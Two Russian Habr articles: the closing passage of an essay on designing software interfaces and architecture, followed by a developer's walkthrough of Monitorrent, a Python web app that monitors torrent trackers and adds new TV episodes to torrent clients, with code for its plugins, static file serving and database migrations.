Попытайтесь задать 3 вопроса, когда анализируете задачу на архитектуру: Что мы делаем? Зачем мы это делаем? Как мы это делаем? За “что?” отвечает интерфейс, к примеру “мы уведомляем пользователя о событии”. За “зачем?” отвечает потребитель – код, который вызывает подсистему, и на вопрос “как” отвечает конкретная реализация интерфейса (поставщик услуги).
Постарайтесь любую самодостаточную операцию оформить в виде подпрограммы (функции, метода либо еще чего-то в зависимости от доступного вам инструментария). Даже если это всего лишь одна строчка кода, и используется она один раз в вашей программе. Так вы отделяете архитектурный код (список абстрактный действий) от имплементаций. В таком контексте эта функция выступает в роли интерфейса, и тут же получаем потребителя (вызывает функцию) и поставщика (реализация функции). Пример:
```
function process_object($object) {
$object->data[‘special’] = TRUE;
$object->save();
send_notifications($object);
}
```
или
```
function process_object($object) {
$object->markAsSpecial();
$object->save();
send_notifications($object);
}
```
Используйте побольше уровней детализации в вашей архитектуре. При интенсивном “вертикальном” дроблении у вас будет широкий выбор из компонент разного калибра. Когда вы начнете решать очередную задачу в рамках такого проекта, у вас будет выбор либо использовать какую-то высокоуровневую систему (быстро, возможно в ущерб гибкости решения), либо “дособрать” из низкоуровневых компонент решение, которое точнее ложится под бизнес потребности. Естественно, по возможности вы будете предпочитать высокоуровневые компоненты, но у вас всегда будет свобода собрать какой-то критический участок из более низкоуровневых компонент. К примеру, у вас может быть высокоуровневая компонента “уведомить пользователя о событии”. Она, исходя из настроек в профиле пользователя выбирает длинный либо короткий вариант уведомления и отсылает его либо смской либо на почту. Такая высокоуровневая компонента использует 2 более низкоуровневые: “отправить смску на номер X с содержанием Y” и “отправить имейл по адресу X с содержанием Y”. Когда вам в следующий раз нужно уведомить пользователя о каком-либо событии вероятнее всего вы воспользуетесь высокоуровневой компонентой. Но у вас остается опция слать смски и письма в обход высокоуровневой компоненты используя низкоуровневый слой напрямую – допустим, это вам может пригодиться при критически важном уведомлении – такое лучше бы слать прямо на телефон смской в обход настроек пользователя в силу критичности ситуации. Чем больше уровней детализации вы выделите, тем больше у вас будет такой свободы. Это как атомная бомба и точечный авиаудар – иногда удобнее разбомбить к чертям полматерика, а иногда удобнее нанести 10 точечных ударов по стратегическим объектам. С бомбой проще (более высокий уровень абстракции – просто ткнуть пальцем в нужный материк), с авиаударом больше мороки (нужно выделить эти 10 стратегических объектов), однако иметь выбор из двух альтернатив всегда лучше, чем одна единственная опция.
Ваше воображение работает в разы быстрее, чем ваши пальцы – валидируйте и “примеряйте” архитектуру на бумажке, прежде чем начать ее реализовывать в коде. Будет обидно понять через 5 часов кодирования, что придуманные вами интерфейсы не покрывают нужды предметной области, и эту проблему вы могли бы предвидеть, потратив 20 минут на анализ архитектуры и “проверку” архитектуры на бумаге. В некоторые моменты я провожу полный рабочий день сидя и смотря в небо – придумывая и обкатывая архитектуру на бумаге.
Не перегружайте ваши интерфейсы. В погоне за **полнотой** интерфейса, мы можем включить в него избыточные элементы, но здесь можно ненароком кашу испортить маслом. Чем больше элементов включает интерфейс, тем меньше свободы он оставляет тому, кто его будет реализовывать. Так же не забывайте, что возможно, в какой-то момент вам нужно будет изменить этот интерфейс в свете каких-то новых бизнес задач. Чем интерфейс проще, тем проще изменять его и актеров по обе стороны этого интерфейса.
Может звучать парадоксально, но перегруженный интерфейс будет менее полным чем идеально сбалансированный по нагрузке интерфейс. Излишние подробности сужают интерфейс, а не расширяют его, т.к. некоторые подробности теряют свой физический смысл в каком-то другом контексте. К примеру, мы могли бы “перестараться” и в наш интерфейс системы уведомления пользователя о каком-либо событии ввести понятие часового пояса: “уведомить пользователя о событии с учетом (или без) его часового пояса”. В некотором контексте это будет правильным интерфейсом, а в каком-то неправильным. Допустим пользователи нашей системы начнут жить на луне и там нет понятия “часового пояса” в таком смысле, в котором к нему привыкли земляне. Тогда это дополнительная нагрузка в интерфейсе окажется избыточной и будет действовать в ущерб всей архитектуре.
Не забывайте о вопросах производительности и масштабируемости в момент проектирования архитектуры. В идеале интерфейсы должны быть максимально простыми – допустим пару функций, которые позволяют изменять и удалять какую-то сущность из хранилища. Упаковывая в интерфейс лишь 2 функции мы получаем высокий уровень абстракции – мы можем использовать реляционную БД и NoSQL для физического хранения данных. Но если таких сущностей будут тысячи, то становится очевидным, что ими нужно манипулировать на уровне СУБД, а не приложения. Тогда нужно сознательно включить в интерфейс структуру БД, где эти сущности хранятся. В противном случае интерфейс будет красивым, но **неполным**, ибо с учетом требований производительности, полный интерфейс должен предоставлять быстрый и эффективный инструментарий для массового взаимодействия с сущностями.
Творение архитектуры
--------------------
Способность правильно понять предметную область, идентифицировать успешные интерфейсы я отношу к искусству. В моем личном случае, я учился этому ремеслу через практику и созерцание архитектур других авторов, всегда пропуская исследуемую архитектуру через призму собственного критического мышления.
В следующий раз, когда вам нужно решить относительно большую задачу, отойдите от компьютера и посидите с листком бумаги час. В начале, возможно, никакие мысли не будут лезть в голову, но вы честно продолжайте размышлять над проблемой и абстракциями/интерфейсами, которые могут быть спрятаны внутри этой проблемы. Не отвлекайтесь – очень важна глубина погружения и концентрация, чтобы вы смогли максимально детально продумать и скомпоновать всех актеров и их связи у себя в воображении.
Когда вы видите чужую (либо свою, но какое-то время ранее реализованную) архитектуру, и вам нужно внести правки в код, попытайтесь проанализировать, удобно ли вносить эти правки при текщей архитектуре, достаточно ли она гибка. Что в ней можно улучшить?
**Upd.:** я эту статью написал, когда готовился к выступлению на одной конференции. Видеозапись можно просмотреть здесь — [meduza.carnet.hr/index.php/media/watch/12326](https://meduza.carnet.hr/index.php/media/watch/12326) | https://habr.com/ru/post/353698/ | null | ru | null |
# Мониторинг торрентов и автоматическая скачка
Совсем недавно на Хабре было 2 статьи о том, как автоматизировать процесс скачивания новых серий с торрентов. Авторы обеих статей поделились своими приложениями. Вот уже год мы тоже разрабатываем подобное приложение и мне кажется, пришло время рассказать хабрасообществу о нашем маленьком, но прекрасном проекте **[Monitorrent](https://github.com/werwolfby/monitorrent)**, который, возможно, сделает вашу жизнь настолько проще и удобнее, насколько сделал нашу.
Веб приложение написано на Python 2 (с поддержкой Python 3). Оно позволяет добавлять новые торренты для мониторинга, автоматически скачивать новые серии и добавлять их в торрент клиент.
Мы им пользуемся на постоянной основе с конца прошлого года, а 1 мая 2016 мы выпустили первую релизную версию, которая без каких-либо сбоев крутится до сих пор на cubietruck в docker контейнере.
За подробностями того как оно работает внутри прошу под кат.
Мне хочется прийти с работы домой и, сев ужинать, просто открыть Kodi, выбрать свежую серию любимого сериала и посмотреть её. Не прилагая никаких усилий для ее поиска на торрент трекерах и не тратя время на ожидание, пока она скачается.
Решений для данной автоматизации очень много. Сначала я пользовался плагином для Chrome, который следил за изменениями на rutracker, а изменённые торренты качал вручную и добавлял в uTorrent по RDC, а позже через их веб приложение.
TorrentMonitor
==============
Но после того, как я открыл для себя TorrentMonitor все стало намного проще. Он у меня работал на роутере больше года. Даже пару pull request’ов к нему было. Об этом приложении было 2 замечательные статьи на хабре от его автора ([раз](https://habrahabr.ru/post/157319/), [два](https://habrahabr.ru/post/210548/)). Огромное спасибо автору.
TorrentMonitor прекрасен, но у меня постоянно была одна проблема. Иногда скачивался файл нулевого размера. Приходилось руками лезть в базу и исправлять информацию о том, что эта серия ещё не была скачана (вроде бы эту проблему уже исправили). Ну и в те времена он не мог сам добавлять скачанные торренты в торрент клиент (в Transmission в моем случае). Сейчас с этим тоже все хорошо.
FlexGet
=======
Следующим открытием для меня был FlexGet. Очень мощный инструмент. В нем не было поддержки lostfilm.tv и прикрутить ее было то ещё приключение. В остальном он работал исправно, однако научить его следить за изменением торрента на rutracker’е у меня так и не вышло. Наверное и сейчас этого сделать нельзя. Зато у меня было настроенное правило, которое скачивало фильмы этого и предыдущего года с rutor, с качеством 720p (больше инет не позволял) и рейтингом imdb больше 6.0, при этом исключая фильмы из Японии (ну не люблю я японский синематограф, а рейтинг у них стабильно высокий). Всё это описывалось всего лишь парой строчек в yaml.
Долгое время оба сервиса (TorrentMonitor и FlexGet) работали рядом на роутере.
После того как мне подарили cubietruck, и я установил в него 2.5 винчестер на 2 Тб, он превратился в маленький, но очень практичный NAS, который кушает мало электричества и исправно качает торренты. А мобильная батарейка спасает от проблем с перебоями электричества. Скорость доступа к файлам около 30 Мб/с стабильно, этого достаточно для моих задач. TorrentMonitor и FlexGet перекочевали на cubietruck.
Однако, проблема со скачиванием торрентов нулевого размера никуда не делась.
Monitorrent
===========
И мне захотелось сделать свой проект для автоматизации скачивания новых серий. TorrentMonitor написан на PHP и вызывает curl для скачивания новых торрентов. Для настройки времени запуска использует вызов php через cron.
Мне же хотелось все из коробки, чтобы установил — и оно заработало.
Так появился **Monitorrent**. Как идея написать что-то полезное для себя на python. Маленький набор скриптов не в счет.
Это одностраничное веб приложение написанное на Python 2. В качестве front-end’а используется Angular 1.4 и angular-material. А back-end — это просто REST сервис, написанный с использованием [falcon](https://falconframework.org/).
Все исходники лежат на [github](https://github.com/werwolfby/monitorrent), и распространяются под лицензией [Do What the Fuck You Want to Public License](http://www.wtfpl.net/).
Сейчас поддерживаются следующие трекеры:
* [lostfilm.tv](http://www.lostfilm.tv/) c парсингом страницы сериала
* rutor.org (сейчас [rutor.is](http://www.rutor.is/) и [rutor.info](http://www.rutor.info/)) со слежением изменений торрента
* [rutracker.org](http://rutracker.org/forum/index.php) со слежением изменений торрента и авторизацией
* [free-torrents.org](http://www.free-torrents.org/) со слежением изменений торрента
* [tapochek.net](http://tapochek.net/index.php) со слежением изменений торрента и авторизацией
* [unionpeer.org](http://unionpeer.org/) со слежением изменений торрента
Скачанные торренты можно добавлять в следующие торрент клиенты:
* Transmission
* Deluge
* uTorrent
* qbittorrent
Это покрывает мои нужды на 200% (в основном использую только 3 трекера и 2 торрент клиента).
Front-end
=========
Вообще, это двухстраничное приложение.
Одна страница для логина, вторая — все остальное приложение. Отдельная страница логина нужна только для того, чтобы нельзя было скачивать статические файлы (картинки, css или js) до того, как авторизируешься в систему. Я наверное параноик, смысла в этом мало, но мне нравится думать, что так слегка безопаснее.
Обе страницы генерируются из одного `index.htm` файла, которая потом трансформируется с помощью `gulp-preprocess` плагина.
Все внешние js файлы (фреймворки и js библиотеки) грузятся из CDN, для того чтобы облегчить доступ к **Monitorrent**’у извне, когда он развернут в домашней сети. Если дома ADSL, а скорость отдачи только 512 кбит/с, то гораздо быстрее скачать js из интернета, чем из домашней сети на ограниченной скорости, потому что канал и так забит раздачей торрентов. Все внутренние js файлы уже приходится скачивать из домашней сети, которые потом отлично кэшируются браузером.
А так как все остальное общение сделано через REST, то данных между front-end’ом и back-end’ом пересылается очень мало.
Авторизация сделана через JWT. Мне кажется, что это самая оптимальная технология авторизации. Она позволяет не хранить сессию на сервере и не дает клиенту видеть, какие именно данные у него хранятся. Если вы еще не используете JWT в своих приложениях, то настоятельно рекомендую это сделать. Особенно хорошо, как мне кажется, использовать JWT в микросервисной архитектуре.
Сборка сделана с помощью `gulp`, который заменил собой `grunt`. Все js файлы просто склеиваются вместе в один большой bundle, который пока даже не [минифицируется](https://github.com/werwolfby/monitorrent/issues/101). Но всё склеивается правильно, потому что основной файл называется `app.js` и первым попадает в финальный js. Всё остальное работает благодаря DI от angular.
Сейчас я бы прикрутил webpack. Но я не front-end разработчик и я не знал ничего о front-end разработке, когда этот проект только начинался.
Динамическая генерация форм
---------------------------
Из дополнительных особенностей имплементации можно упомянуть реализованную нами angular директиву для генерации динамических форм.
Настройки всех плагинов – это простые формы, например, вот так выглядит форма настройки соединения с Transmission:
Эта форма состоит из 2-х строк, в каждой из которых по 2 текстовых блока. Длина элемента `host` равно 80%, а длина `port` 20%. Текст блоки для логина и пароля размера 50%. Написание этой формы на angular-material — тривиальная задача.
Однако, нам хотелось упростить разработку плагинов и сосредоточиться на написании backend-логики, и не заморачиваться html’ом. Плагин должен поставляться в виде единственно файла, без дополнительного файла разметки.
Мы разработали простой формат для описания разметки формы в коде плагина:
```
form = [{
'type': 'row',
'content': [{
'type': 'text',
'label': 'Host',
'model': 'host',
'flex': 80
}, {
'type': 'text',
'label': 'Port',
'model': 'port',
'flex': 20
}]
}, {
'type': 'row',
'content': [{
'type': 'text',
'label': 'Username',
'model': 'username',
'flex': 50
}, {
'type': 'password',
'label': 'Password',
'model': 'password',
'flex': 50
}]
}]
```
Это описание формы редактирования настроек для Transmission. Здесь описаны 3 текстовых блока и один блок для ввода пароля. Назначение свойств `type` и `label` понятны из их названий. Имя свойства `flex`, было выбрано неудачно, правильнее его было назвать `width` – оно определяет длину элемента в процентах внутри строки. Оно было так названо, потому что angular-material использует flexbox для описания расположения элементов на странице.
После того как пользователь введёт данные в эту форму, и нажмет кнопку `Save`. На back-end будет послана модель следующего вида:
```
{
"host": "myhost",
"port": "9091",
"username": "username",
"password": "******"
}
```
Имена свойств этой модели берутся из свойства `model` описания формы.
Это позволило сосредоточится на написании только логики плагинов back-end’а и упростило написание UI. В мобильной версии приложения все элементы будут располагаться друг за другом, т.е. элементы внутри одной строки разобьются на несколько строк. Этот функционал все ещё не реализован, но надеюсь появится в будущем.
Естественно, динамическая генерация форм – это не самое гибкое решение, но я считаю его правильным и обоснованным. Хотя наш front-end девелопер с этим не согласен по сегодняшний день и до сих пор спорит со мной об этом решении.
Websocket
=========
В одной из первых версий была реализована работа с Websocket’ами. Сначала полностью руками, потом на **socket.io**.
Для работы с Websocket’ами со стороны python была использована python библиотека для работы с **socket.io**. Она использует **gevent**, для создания coroutine (легковесных потоков, greenlet’ов и много других, название которые я уже не помню). Это отличная библиотека для написания асинхронных приложений, какими обязаны быть приложения, использующие Websocket’ы.
Но, к сожалению, python **socket.io** реализация требует библиотеку **gevent** больше 1.0 версии. А для домашних роутеров **gevent** есть только версии 0.13. Исключать возможность запуска **Monitorrent**’а на роутерах нам очень не хотелось несмотря на то, что я сам уже давно пользуюсь cubietruck. Поэтому от Websocket’ов пришлось отказаться и заменить их на long polling запросы в REST интерфейсе. Сейчас они используются только в одном месте, для получения статуса текущей проверки на новые серии.
Back-end
========
Написан на python 2 с использованием [falcon](https://falconframework.org/). Falcon обещает очень высокую производительность и он показался мне очень удобным. Первоначально **Monitorrent** был написан на **cherrypy**, потом переписан на **flask**, была попытка использование **bottle**, но тоже так и не сложилось и мы остановились на **falcon**.
К сожалению **falcon** – это фреймворк для написания REST сервисов в первую очередь, а отдавать статику тоже нужно. Такой функциональности **falcon** не предоставляет из коробки, в отличии от тех же **flask** и **cherrypy**. Пришлось реализовать этот функционал самим. К тому же все средства в falcon для этого есть.
```
@no_auth
class StaticFiles(object):
def __init__(self, folder=None, filename=None, redirect_to_login=True):
self.folder = folder
self.filename = filename
self.redirect_to_login = redirect_to_login
def on_get(self, req, resp, filename=None):
if self.redirect_to_login and not AuthMiddleware.validate_auth(req):
resp.status = falcon.HTTP_FOUND
resp.location = '/login'
return
file_path = filename or self.filename
if self.folder:
file_path = os.path.join(self.folder, file_path)
if not os.path.isfile(file_path):
raise falcon.HTTPNotFound(description='Requested page not found')
mime_type, encoding = mimetypes.guess_type(file_path)
etag, last_modified = self._get_static_info(file_path)
resp.content_type = mime_type or 'text/plain'
headers = {'Date': formatdate(time.time(), usegmt=True),
'ETag': etag,
'Last-Modified': last_modified,
'Cache-Control': 'max-age=86400'}
resp.set_headers(headers)
if_modified_since = req.get_header('if-modified-since', None)
if if_modified_since and (parsedate(if_modified_since) >= parsedate(last_modified)):
resp.status = falcon.HTTP_NOT_MODIFIED
return
if_none_match = req.get_header('if-none-match', None)
if if_none_match and (if_none_match == '*' or etag in if_none_match):
resp.status = falcon.HTTP_NOT_MODIFIED
return
resp.stream_len = os.path.getsize(file_path)
resp.stream = open(file_path, mode='rb')
@staticmethod
def _get_static_info(file_path):
mtime = os.stat(file_path).st_mtime
return str(mtime), formatdate(mtime, usegmt=True)
```
Тут пришлось делать распознавание mimetype, а так же проверку **if-modified-since** и **if-not-match** заголовков для правильного кеширования браузером статики. Мне кажется, я украл это решение то ли у **cherrypy**, то ли у **flask** и просто переписал его для **falcon**. Не думаю, что ему место в **falcon**, потому и не слал им pull request.
Решение мне кажется ужасным, но более красивого мы пока не нашли.
Встроенный WSGI веб сервер **falcon** можно использовать только для разработки, поэтому всё крутится на WSGI имплементации из **cherrypy**, которая, насколько мне известно, очень стабильная:
```
d = wsgiserver.WSGIPathInfoDispatcher({'/': app})
server_start_params = (config.ip, config.port)
server = wsgiserver.CherryPyWSGIServer(server_start_params, d)
```
Если кто-то знает хороший и быстрый WSGI сервер для python, поделитесь пожалуйста в комментариях. Нужно кроссплатформенное решение, так как **Monitorrent** также работает и под Windows.
Это первый серьёзный проект на python, поэтому многих особенностей мы не знаем. Наверное, получение статики можно переложить на какой-то WSGI сервер, а всю работу по обработке запросов REST оставить на **falcon**. Будем благодарны, если кто-то подскажет, как это сделать правильно.
Dependency Injection
====================
Мне сложно понять, как можно жить без DI контейнера, но в python-мире не принято их использовать. Было уже много холиваров на эту тему. К сожалению, хорошего решения не было найдено, так что мы воспользовались явной инъекцией зависимостей во все классы.
Система plugin’ов
=================
Все трекеры и торрент клиенты реализованы в виде плагинов. Пока это все типы плагинов, но в ближайшее время появятся плагины для уведомлений. Соответствующий pull request ожидает review и будет доступен в версии 1.1.
Мы не нашли красивой системы для загрузки плагинов, где можно было бы просто просканировать папку и каким-то образом загрузить оттуда все классы, поэтому идея реализации была украдена у FlexGet’а.
Каждый плагин сам себя регистрирует в системе. Хотя, как мне кажется, было бы правильнее, чтобы система сама искала плагины, а не плагин знал, как себя зарегистрировать в системе.
Плагин для торрент клиента
--------------------------
Интерфейс плагина очень простой:
```
class MyClientPlugin(object):
name = "myclient"
form = [{
...
}]
def get_settings(self):
pass
def set_settings(self, settings):
pass
def check_connection(self):
pass
def find_torrent(self, torrent_hash):
pass
def add_torrent(self, torrent):
pass
def remove_torrent(self, torrent_hash):
pass
register_plugin('client', 'myclient', MyClientPlugin())
```
Методы можно разбить на 2 группы, одна группа для хранения настроек торрент клиента, другая — для управления торрентами.
Методы `set_settings()` и `get_settings()` сохраняют и читаю данные из базы.
Методы `*_torrent()` управляют закачками. Торрент файл можно уникально идентифицировать по его хеш коду, поэтому для удаления и поиска уже скачанного или качающегося торрента достаточно передать хеш торрента. А вот для добавления торрена логично, что нужно передать весь торрент.
Библиотека для разбора торрент файла была взята из FlexGet’а. Откуда она появилась там я не смог выяснить (хотя и не сильно пытался). В неё была внесена парочка маленьких модификаций для поддержки python 3 и для чтения чистого не разобранного массива байт.
Поле `form` описывает форму настроек этого плагина на UI. О том как это работает можно почитать выше в разделе о динамической генерации форм.
Плагины достаточно компакты и просты в имплементации. Например transmission занимает всего 115 строчек, включая пару строк комментариев и 7 строк импортов.
Плагин для трекера
------------------
В терминах **Monitorrent**’а любая подписка на изменения торрентов называется темой (**topic**). Например для lostfilm мы следим за изменениями сериала на его странице, а не путём разбора RSS. После выхода новой серии мы будем скачивать новый торрент файл, а не изменённый. Поэтому называть подписку темой мне кажется более разумным.
Если контракт плагина для торрент клиента очень простой и поэтому для него нет базового класса, то для трекера все сложнее. Для начала рассмотрим простой интерфейс плагина для трекера:
```
class TrackerPluginBase(with_metaclass(abc.ABCMeta, object)):
topic_form = [{
...
}]
@abc.abstractmethod
def can_parse_url(self, url):
pass
def prepare_add_topic(self, url):
pass
def add_topic(self, url, params):
pass
def get_topics(self, ids):
pass
def save_topic(self, topic, last_update, status=Status.Ok):
pass
def get_topic(self, id):
pass
def update_topic(self, id, params):
pass
@abc.abstractmethod
def execute(self, topics, engine):
pass
```
Здесь также есть методы по работе с настройками определенного торрента `*_topic()` и отдельный метод для получения всех тем `get_topics()`.
Добавление нового торрента для мониторинга происходит по URL темы. Например для rutracker – это адрес страницы форума, для lostfilm – это страница сериала. Для того, чтобы узнать какой плагин может обработать этот URL, у всех плагинов поочерёдно вызывается метод `can_parse_url()`, который через regex проверяет может ли он работать с этим URL’ом или нет. Если такой плагин не найден, то пользователь увидит сообщение, что тему добавить не удалось. Если плагин который понимает этот URL был найден, то сначала у него вызывается метод `prepare_add_topic()`, который возвращает модель с разобранными данными и позволяет пользователю отредактировать эти данные. Форма для редактирования данных описана в поле `topic_form`. После того как пользователь отредактирует данные темы и нажмёт кнопку **Add**, вызывается метод `add_topic`, которому передаётся отредактированная модель и он сохранит эту тему в базу для мониторинга.
Сейчас есть одно общее свойство для всех тем — это `display_name`. Заголовок который виден на главной странице. Для lostfilm ещё можно выбрать качество скачиваемых серий.
Самый большой и главный метод – это `execute(self, topics, engine)`. Он отвечает за проверку изменений и скачивание новых серий. Ему передается список его тем для проверки и специальный объект `engine`. Объект `engine` позволяет добавлять новые торренты в торрент клиент, а так же предоставляет объект для логирования. Торрент клиент для скачиваний может быть только один. И плагину не важно какой-то это клиент, за выбор клиента отвечает `engine`, плагин просто передает скачанный торрент в `engine`. В случае когда сериал раздаётся путем добавления новых серий, `engine` удаляет предыдущую раздачу и добавляет новую.
Так как некоторые трекеры требуют авторизации, для них реализован отдельный тип плагинов который может сохранять информацию для логина `WithCredentialsMixin`. Как видно из названия этот класс является миксином (почему именно миксин рассказано ниже). Только эти типы плагинов сейчас имеют настройку на UI. Этот класс добавляет к интерфейсу плагина ещё пару методов:
```
class WithCredentialsMixin(with_metaclass(abc.ABCMeta, TrackerPluginMixinBase)):
credentials_form = [{
...
}]
@abc.abstractmethod
def login(self):
pass
@abc.abstractmethod
def verify(self):
pass
def get_credentials(self):
pass
def update_credentials(self, credentials):
pass
def execute(self, ids, engine):
if not self._execute_login(engine):
return
super(WithCredentialsMixin, self).execute(ids, engine)
def _execute_login(self, engine):
pass
```
Методы для хранения и загрузки данных авторизации `*_credentials`. Методы для логина и проверки введенных данных `login()` и `verify()` соответственно. Так же он переопределяет метод `execute()`, для того чтобы сначала авторизоваться на трекере (вызовом метода `_execute_login()`) и только потом проверять темы на изменения.
Для редактирования настроек используется динамически генерируемая форма из поля `credentials_form`.
Сейчас проверка изменений на всех трекерах, кроме lostfilm, ведется путём скачивания торрент файла и сравнения его хеша с тем, что был скачан в прошлый раз. Если хеш отличается, то скачивается новый торрент и добавляется в торрент клиент. Наверное, достаточно было сделать проверку самой страницы, посылая HEAD запрос или что-то ещё, но этот вариант надежнее. Размер страницы, как оказалось, больше, чем сам торрент файл, а простое добавление комментария, не являясь изменением торрента, изменит страницу. К тому же rutor не поддерживал HEAD совсем.
Эта логика вынесена в метод `execute` класса `ExecuteWithHashChangeMixin`. Это снова миксин, как и `WithCredentialsMixin`. Это позволяет писать плагины, наследуя 1 или 2 миксина в зависимости от трекера, и переопределять только пару методов.
Вот так определён плагин для free-torrents.org:
```
class FreeTorrentsOrgPlugin(WithCredentialsMixin, ExecuteWithHashChangeMixin, TrackerPluginBase):
...
topic_form = [{
...
}]
def login(self):
pass
def verify(self):
pass
def can_parse_url(self, url):
return self.tracker.can_parse_url(url)
def parse_url(self, url):
return self.tracker.parse_url(url)
def _prepare_request(self, topic):
headers = {'referer': topic.url, 'host': "dl.free-torrents.org"}
cookies = self.tracker.get_cookies()
request = requests.Request('GET', self.tracker.get_download_url(topic.url), headers=headers, cookies=cookies)
return request.prepare()
```
В результате только пару методов требуют переопределения, а самая сложная логика по проверке новых торрентов остается неизменной и сосредоточена в миксинах `WithCredentialsMixin` и `ExecuteWithHashChangeMixin`.
Плагин для rutor.org использует только `ExecuteWithHashChangeMixin`:
```
class RutorOrgPlugin(ExecuteWithHashChangeMixin, TrackerPluginBase):
pass
```
А плагин для lostfilm использует только `WithCredentialsMixin`, потому что реализация по поиску изменений у него своя:
```
class LostFilmPlugin(WithCredentialsMixin, TrackerPluginBase):
pass
```
Плагин для lostfilm довольно сложный, на целых 640 строк. Особенно сложен логин через bogi, но всё работает как часы уже более 7 месяцев.
В других языках это было бы реализовано слегка по-другому, но я рад, что в python можно использовать множественное наследование, которое стоит делать только через миксины. И обязательно стоит указывать правильный порядок всех наследуемых классов. Это наверное единственный случай, когда мне кажется, что множественное наследование упрощает написание кода.
К сожалению на rutor иногда удаляют раздачи и приходится искать новую, **Monitorrent** может отследить удалённые раздачи и подсвечивает такие темы пользователю на главном экране. За эту логику тоже отвечает метод `execute()`.
База данных
===========
В качестве базы данных используется sqlite. У нас есть [тикет](https://github.com/werwolfby/monitorrent/issues/77) для поддержки других баз данных, но я не думаю, что в этом есть необходимость, сложность системы это увеличит не сильно, но придется написать много тестов для тестирования различных баз данных. К тому же сейчас есть небольшое количество кода которое строго завязано на sqlite.
В качестве ORM используется **sqlalchemy**. Это мощная и удобная ORM, которая поддерживает наследование классов с отображением их на базу. Именно **sqlalchemy** упростит переход на другую базу данных, если когда-то мы соберёмся добавить поддержку других баз данных.
Код в **Monitorrent**’е поддерживает миграции данных и схем. К сожалению **sqlalchemy** из коробки не имеет этого функционала, но есть другой проект от авторов **sqlachemy** – **alembic**, который мы и используем для этих целей.
Sqlite драйвер для python имеет пару ограничений. Одно из них это то, что нельзя использовать транзакции вместе с модификацией схемы данных. Иногда это критично при миграции базы данных на новую версию. Решение этой проблемы описано на сайте [sqlalchemy](http://docs.sqlalchemy.org/en/latest/dialects/sqlite.html#pysqlite-serializable). Оттуда этот код был перенесен в **Monitorrent**. Сейчас миграции работают без каких-либо проблем.
Уже почти все плагины трекеров обзавелись своими миграциями, с самых старых версий до последнего релиза. Реализована поддержка миграций через метод `upgrade`, который передается при регистрации плагина.
Метод `upgrade` сначала определяет текущую версию путём различных проверок вроде существования столбцов и таблиц, а потом производит непосредственно миграцию с этой версии до последней.
Пример кода миграции для rutor:
```
def upgrade(engine, operations_factory):
if not engine.dialect.has_table(engine.connect(), RutorOrgTopic.__tablename__):
return
version = get_current_version(engine)
if version == 0:
upgrade_0_to_1(engine, operations_factory)
version = 1
if version == 1:
upgrade_1_to_2(operations_factory)
version = 2
def get_current_version(engine):
m = MetaData(engine)
t = Table(RutorOrgTopic.__tablename__, m, autoload=True)
if 'url' in t.columns:
return 0
if 'hash' in t.columns and not t.columns['hash'].nullable:
return 1
return 2
def upgrade_0_to_1(engine, operations_factory):
m0 = MetaData()
rutor_topic_0 = Table("rutororg_topics", m0,
Column('id', Integer, primary_key=True),
Column('name', String, unique=True, nullable=False),
Column('url', String, nullable=False, unique=True),
Column('hash', String, nullable=False),
Column('last_update', UTCDateTime, nullable=True))
m1 = MetaData()
topic_last = Table('topics', m1, *[c.copy() for c in Topic.__table__.columns])
rutor_topic_1 = Table('rutororg_topics1', m1,
Column("id", Integer, ForeignKey('topics.id'), primary_key=True),
Column("hash", String, nullable=False))
def topic_mapping(topic_values, raw_topic):
topic_values['display_name'] = raw_topic['name']
with operations_factory() as operations:
if not engine.dialect.has_table(engine.connect(), topic_last.name):
topic_last.create(engine)
operations.upgrade_to_base_topic(rutor_topic_0, rutor_topic_1, PLUGIN_NAME,
topic_mapping=topic_mapping)
```
В одной из самых первых версий все плагины имели свою таблицу для хранения тем. Позже общие поля, такие как `url` и `display_name` были вынесены в таблицу topics. В коде это реализовано в виде наследования всех классов тем от базового Topic класса.
Поэтому все имеющиеся данные нужно было мигрировать, путём удаления старых столбцов и переноса их в общую таблицу topics. Так как для всех плагинов нужно было проделать аналогичные операции, то она была вынесена в общее место `MonitorrentOperations.upgrade_to_base_topic`:
```
def upgrade_to_base_topic(self, v0, v1, polymorphic_identity, topic_mapping=None, column_renames=None):
from .plugins import Topic
self.create_table(v1)
topics = self.db.query(v0)
for topic in topics:
raw_topic = row2dict(topic, v0)
# insert into topics
topic_values = {c: v for c, v in list(raw_topic.items()) if c in Topic.__table__.c and c != 'id'}
topic_values['type'] = polymorphic_identity
if topic_mapping:
topic_mapping(topic_values, raw_topic)
result = self.db.execute(Topic.__table__.insert(), topic_values)
# get topic.id
inserted_id = result.inserted_primary_key[0]
# insert into v1 table
concrete_topic = {c: v for c, v in list(raw_topic.items()) if c in v1.c}
concrete_topic['id'] = inserted_id
if column_renames:
column_renames(concrete_topic, raw_topic)
self.db.execute(v1.insert(), concrete_topic)
# drop original table
self.drop_table(v0.name)
# rename new created table to old one
self.rename_table(v1.name, v0.name)
```
На самом деле миграции пока не нужны, делать их для 2.5 пользователей не имело смысла. Но мне было обязательно обкатать этот функционал с самого начала, чтобы потом было проще. А миграции ещё явно понадобятся.
Для работы с базой данных был создан специальный класс `DBSession` который расширен поддержкой python оператора with, для того чтобы можно было писать код следующим образом:
```
with DBSession() as db:
cred = db.query(self.credentials_class).first()
cred.c_uid = self.tracker.c_uid
cred.c_pass = self.tracker.c_pass
cred.c_usess = self.tracker.c_usess
```
За основу как обычно брался код из FlexGet’а. Все плагины напрямую работают с базой данных через `DBSession()`. Никаких репозиториев или других вспомогательных классов не создавалось.
Периодический запуск
====================
**Monitorrent** из коробки умеет запускаться периодически для проверки обновлений тем. По умолчанию запуск происходит раз в 2 часа, но это значение можно изменить.
Это реализовано с помощью обертки над `threading.Thread`. Реализация очень похожа на реализацию `threading.Timer`, но в нашей реализации есть `stop()`, который завершит этот поток для правильной остановки приложения. И имеется возможность запустить исполнение по требованию, не дожидаясь запуска по расписанию. Запуск по требованию сбросит таймер, и следующий запуск произойдет спустя 2 часа (если значение не изменено) с момента завершения запуска по требованию.
Старт приложения
================
Для запуска **Monitorrent**’а нужно запустить файл `server.py`. Он поднимет вебсервер через **cherrypy** на порту [6687](https://github.com/werwolfby/monitorrent/issues/84) по умолчанию.
Отдельно стоит рассказать про параметры запуска:
* `debug` – режим, в котором ключ для JWT всегда один и тот же, чтобы каждый раз не авторизовываться во время разработки. По умолчанию false. Это всё за что сейчас отвечает этот параметр.
* `ip` – адрес, на котором сервер слушает входящие соединения. По умолчанию 0.0.0.0.
* `port` – порт, на котором сервер слушает входящие соединения. По умолчанию 6687
* `db_path` – путь к файлу базы данных. По умолчанию monitorrent.db. Т.е. база данных расположена в той же папке где и приложение.
